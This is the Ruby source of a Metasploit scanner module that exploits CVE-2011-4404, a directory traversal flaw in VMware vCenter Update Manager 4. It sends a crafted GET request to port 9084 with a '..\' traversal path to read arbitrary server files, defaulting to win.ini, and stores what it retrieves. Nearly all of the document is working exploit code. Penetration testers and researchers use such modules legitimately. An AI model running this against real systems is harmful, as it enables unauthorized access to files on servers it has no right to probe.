VMWare Update Manager 4 Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
‘Name’ => “VMWare Update Manager 4 Directory Traversal”,
‘Description’ => %q{
This modules exploits a directory traversal vulnerability in VMWare Update Manager
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Alexey Sintsov’, #Initial discovery, poc
‘sinn3r’ #Metasploit
],
‘References’ =>
[
[‘CVE’, ‘2011-4404’],
[‘EDB’, ‘18138’],
[‘URL’, ‘https://www.vmware.com/security/advisories/VMSA-2011-0014.html’],
[‘URL’, ‘http://dsecrg.com/pages/vul/show.php?id=342’]],
‘DisclosureDate’ => ‘2011-11-21’))

register_options(
[
Opt::RPORT(9084),
OptString.new(‘URIPATH’, [true, ‘URI path to the downloads’, ‘/vci/downloads/’]),
OptString.new(‘FILE’, [true, ‘Define the remote file to download’, ‘windows\\win.ini’])
])
end

def run_host(ip)
fname = File.basename(datastore[‘FILE’])
traversal = “.\\..\\..\\..\\..\\..\\..\\..\\”
uri = normalize_uri(datastore[‘URIPATH’]) + traversal + datastore[‘FILE’]

print_status(“#{rhost}:#{rport} – Requesting: #{uri}”)

res = send_request_raw({
‘method’ => ‘GET’,
‘uri’ => uri
}, 25)

# If there’s no response, don’t bother
if res.nil? or res.body.empty?
print_error(“No content retrieved from: #{ip}”)
return
end

if res.code == 404
print_error(“#{rhost}:#{rport} – File not found”)
return
else
print_good(“File retrieved from: #{ip}”)
p = store_loot(“vmware.traversal.file”, “application/octet-stream”, rhost, res.to_s, fname)
print_good(“File stored in: #{p}”)
end
end
end